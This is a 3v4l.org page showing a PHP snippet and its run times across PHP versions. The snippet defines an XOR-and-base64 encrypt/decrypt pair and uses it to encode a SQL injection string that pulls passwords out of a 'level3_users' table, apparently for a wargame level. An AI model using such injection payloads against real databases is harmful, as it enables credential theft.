3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union select 1,2,3,4,password from level3_users where username='Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0090.00618.63
8.3.30.0030.01220.39
8.3.20.0000.00820.24
8.3.10.0000.00821.92
8.3.00.0040.00422.44
8.2.170.0120.00322.96
8.2.160.0100.00322.21
8.2.150.0040.00424.18
8.2.140.0030.00624.66
8.2.130.0060.00326.16
8.2.120.0080.00020.50
8.2.110.0060.00322.25
8.2.100.0060.00617.91
8.2.90.0000.00819.21
8.2.80.0000.00719.16
8.2.70.0000.01017.50
8.2.60.0060.00317.93
8.2.50.0040.00418.07
8.2.40.0060.00318.34
8.2.30.0060.00319.51
8.2.20.0070.00017.75
8.2.10.0080.00017.70
8.2.00.0000.00817.89
8.1.270.0030.00623.99
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0060.00323.98
8.1.230.0040.00819.14
8.1.220.0000.00817.74
8.1.210.0040.00418.77
8.1.200.0090.00017.35
8.1.190.0040.00417.51
8.1.180.0090.00018.10
8.1.170.0080.00018.59
8.1.160.0000.01118.86
8.1.150.0000.00818.62
8.1.140.0040.00417.48
8.1.130.0040.00417.86
8.1.120.0050.00217.49
8.1.110.0030.00617.35
8.1.100.0070.00017.44
8.1.90.0000.00817.30
8.1.80.0030.00317.36
8.1.70.0000.00817.36
8.1.60.0040.00417.62
8.1.50.0000.00717.44
8.1.40.0040.00417.61
8.1.30.0070.00017.68
8.1.20.0030.00617.67
8.1.10.0040.00417.57
8.1.00.0090.00017.47
8.0.300.0040.00418.77
8.0.290.0070.00017.17
8.0.280.0030.00318.45
8.0.270.0040.00417.18
8.0.260.0030.00516.75
8.0.250.0060.00016.99
8.0.240.0040.00416.99
8.0.230.0060.00317.04
8.0.220.0000.00716.84
8.0.210.0070.00016.91
8.0.200.0030.00317.05
8.0.190.0060.00316.91
8.0.180.0000.00716.99
8.0.170.0040.00416.93
8.0.160.0030.00516.81
8.0.150.0000.00716.93
8.0.140.0040.00416.90
8.0.130.0060.00013.37
8.0.120.0070.00016.77
8.0.110.0040.00416.90
8.0.100.0020.00516.76
8.0.90.0000.00716.89
8.0.80.0070.00716.95
8.0.70.0080.00016.96
8.0.60.0040.00417.00
8.0.50.0040.00416.79
8.0.30.0130.00817.17
8.0.20.0050.01317.46
8.0.10.0050.00217.05
8.0.00.0050.01416.89
7.4.330.0020.00215.07
7.4.320.0030.00316.48
7.4.300.0030.00316.63
7.4.290.0050.00216.54
7.4.280.0030.00316.68
7.4.270.0000.00716.67
7.4.260.0030.00313.25
7.4.250.0040.00416.65
7.4.240.0000.00816.56
7.4.230.0030.00316.54
7.4.220.0090.00816.42
7.4.210.0070.00916.59
7.4.200.0000.00716.29
7.4.190.0030.00316.36
7.4.160.0100.00716.70
7.4.150.0070.01117.40
7.4.140.0130.00817.86
7.4.130.0050.01216.58
7.4.120.0130.00516.49
7.4.110.0100.00716.32
7.4.100.0080.01116.58
7.4.90.0130.00616.56
7.4.80.0100.00719.39
7.4.70.0100.00716.64
7.4.60.0160.00016.60
7.4.50.0040.00416.45
7.4.40.0060.00322.77
7.4.30.0060.01716.57
7.4.00.0000.01615.22
7.3.330.0050.00013.27
7.3.320.0030.00313.16
7.3.310.0020.00516.41
7.3.300.0070.00016.42
7.3.290.0110.00316.32
7.3.280.0060.01016.41
7.3.270.0100.00617.40
7.3.260.0080.00816.58
7.3.250.0080.01116.53
7.3.240.0090.00916.45
7.3.230.0040.01616.40
7.3.210.0100.00716.38
7.3.200.0090.00619.39
7.3.190.0180.00016.57
7.3.180.0030.01316.71
7.3.170.0130.00616.54
7.3.160.0120.00416.62
7.3.120.0040.00714.78
7.2.330.0160.00316.64
7.2.320.0160.00616.68
7.2.310.0140.00816.63
7.2.300.0070.01016.50
7.2.290.0100.00716.74
7.2.60.0080.00617.06
7.1.200.0070.00715.79
7.1.70.0040.00717.18
7.1.60.0060.01919.32
7.1.50.0130.01016.64
7.1.00.0030.06722.35
7.0.200.0040.00416.68
7.0.140.0070.07321.92
7.0.100.0100.04019.98
7.0.90.0030.07019.96
7.0.80.0030.04320.04
7.0.70.0130.03319.91
7.0.60.0070.04020.08
7.0.50.0130.05320.35
7.0.40.0030.05020.17
7.0.30.0000.08320.00
7.0.20.0100.07319.94
7.0.10.0100.07720.08
7.0.00.0070.04020.14
5.6.280.0070.07021.13
5.6.250.0100.06320.59
5.6.240.0100.08320.61
5.6.230.0070.07720.60
5.6.220.0100.06020.55
5.6.210.0030.05320.46
5.6.200.0070.04020.97
5.6.190.0030.09021.02
5.6.180.0070.06321.04
5.6.170.0100.08021.11
5.6.160.0070.08021.01
5.6.150.0070.07321.18
5.6.140.0070.06021.14
5.6.130.0130.03721.04
5.6.120.0030.06021.09
5.6.110.0030.05321.02
5.6.100.0100.07721.01
5.6.90.0100.06721.10
5.6.80.0070.04320.48
5.6.70.0130.06020.50
5.6.60.0030.08020.36
5.6.50.0070.03720.50
5.6.40.0070.05020.50
5.6.30.0170.06720.32
5.6.20.0030.04320.38
5.6.10.0170.07020.32
5.6.00.0070.06020.39
5.5.380.0100.06320.36
5.5.370.0000.04320.46
5.5.360.0070.06720.56
5.5.350.0030.08320.46
5.5.340.0130.03320.88
5.5.330.0070.06020.85
5.5.320.0070.04320.91
5.5.310.0170.06720.93
5.5.300.0030.07020.90
5.5.290.0070.05020.77
5.5.280.0070.07320.80
5.5.270.0000.04720.90
5.5.260.0000.09020.91
5.5.250.0030.08320.64
5.5.240.0130.07320.19
5.5.230.0070.08020.22
5.5.220.0130.03720.29
5.5.210.0070.03720.31
5.5.200.0100.05720.20
5.5.190.0130.07020.18
5.5.180.0030.08320.13
5.5.160.0000.05720.25
5.5.150.0030.04020.09
5.5.140.0070.04020.13
5.5.130.0000.08020.25
5.5.120.0000.05719.96
5.5.110.0030.03720.18
5.5.100.0100.07020.19
5.5.90.0130.07020.17
5.5.80.0100.05720.10
5.5.70.0070.04320.09
5.5.60.0000.04020.02
5.5.50.0030.08320.11
5.5.40.0030.05020.11
5.5.30.0170.06720.15
5.5.20.0100.07720.15
5.5.10.0030.08720.04
5.5.00.0070.03720.05
5.4.450.0100.04019.49
5.4.440.0100.05019.45
5.4.430.0070.07719.26
5.4.420.0070.03719.45
5.4.410.0100.06719.29
5.4.400.0030.06319.13
5.4.390.0230.06018.84
5.4.380.0070.06719.03
5.4.370.0100.05319.09
5.4.360.0100.04719.05
5.4.350.0030.07319.05
5.4.340.0070.06719.13
5.4.320.0030.03719.21
5.4.310.0070.03318.87
5.4.300.0100.05019.04
5.4.290.0200.05319.18
5.4.280.0070.06319.12
5.4.270.0130.06719.23
5.4.260.0100.07019.14
5.4.250.0070.03718.98
5.4.240.0030.06318.94
5.4.230.0070.05719.12
5.4.220.0070.07319.11
5.4.210.0070.06719.00
5.4.200.0070.08018.89
5.4.190.0170.05719.23
5.4.180.0030.03719.04
5.4.170.0130.07018.89
5.4.160.0130.05318.85
5.4.150.0070.04719.03
5.4.140.0070.03316.56
5.4.130.0030.03316.53
5.4.120.0130.06316.34
5.4.110.0070.05016.38
5.4.100.0030.05716.40
5.4.90.0030.03716.41
5.4.80.0100.05316.45
5.4.70.0070.07016.38
5.4.60.0030.04316.25
5.4.50.0030.07716.36
5.4.40.0030.05716.39
5.4.30.0100.06016.35
5.4.20.0100.05016.43
5.4.10.0030.03716.42
5.4.00.0030.03315.83
5.3.290.0030.06714.66
5.3.280.0100.06014.52
5.3.270.0100.07314.72
5.3.260.0070.07714.70
5.3.250.0030.03714.56
5.3.240.0100.07314.70
5.3.230.0200.06314.65
5.3.220.0070.06014.59
5.3.210.0070.07314.52
5.3.200.0000.05314.54
5.3.190.0070.06014.70
5.3.180.0030.03714.63
5.3.170.0030.06714.71
5.3.160.0030.03714.54
5.3.150.0100.05014.54
5.3.140.0000.07314.66
5.3.130.0030.06314.52
5.3.120.0030.03714.56
5.3.110.0000.08314.48
5.3.100.0070.03314.04
5.3.90.0030.04714.09
5.3.80.0130.06713.91
5.3.70.0000.06013.91
5.3.60.0170.05314.07
5.3.50.0170.06313.89
5.3.40.0030.05013.96
5.3.30.0000.04313.96
5.3.20.0130.03013.76
5.3.10.0030.06013.59
5.3.00.0070.06713.69
5.2.170.0000.03712.85
5.2.160.0000.06012.85
5.2.150.0000.03312.85
5.2.140.0000.04312.85
5.2.130.0100.05312.85
5.2.120.0030.06312.85
5.2.110.0170.04312.85
5.2.100.0000.03312.85
5.2.90.0000.03312.85
5.2.80.0030.05312.85
5.2.70.0000.03012.85
5.2.60.0070.05312.85
5.2.50.0030.05012.85
5.2.40.0030.03012.85
5.2.30.0030.02712.85
5.2.20.0070.05312.85
5.2.10.0030.06012.85
5.2.00.0070.06012.85
5.1.60.0070.04312.85
5.1.50.0000.04712.85
5.1.40.0070.04312.85
5.1.30.0070.02712.85
5.1.20.0030.05312.85
5.1.10.0030.05012.85
5.1.00.0100.05312.85
5.0.50.0000.02712.85
5.0.40.0070.02312.85
5.0.30.0070.02712.85
5.0.20.0000.02712.85
5.0.10.0100.05012.85
5.0.00.0000.04312.85
4.4.90.0000.01712.85
4.4.80.0000.03312.85
4.4.70.0000.03712.85
4.4.60.0070.02312.85
4.4.50.0030.03312.85
4.4.40.0000.05312.85
4.4.30.0000.01712.85
4.4.20.0000.03312.85
4.4.10.0000.02712.85
4.4.00.0030.05312.85
4.3.110.0030.01712.85
4.3.100.0000.01712.85
4.3.90.0070.02712.85
4.3.80.0030.02312.85
4.3.70.0000.01712.85
4.3.60.0070.01312.85
4.3.50.0000.02012.85
4.3.40.0000.05312.85
4.3.30.0070.01312.85
4.3.20.0030.03312.85
4.3.10.0000.02712.85
4.3.00.0000.02012.85

preferences:
41.86 ms | 400 KiB | 5 Q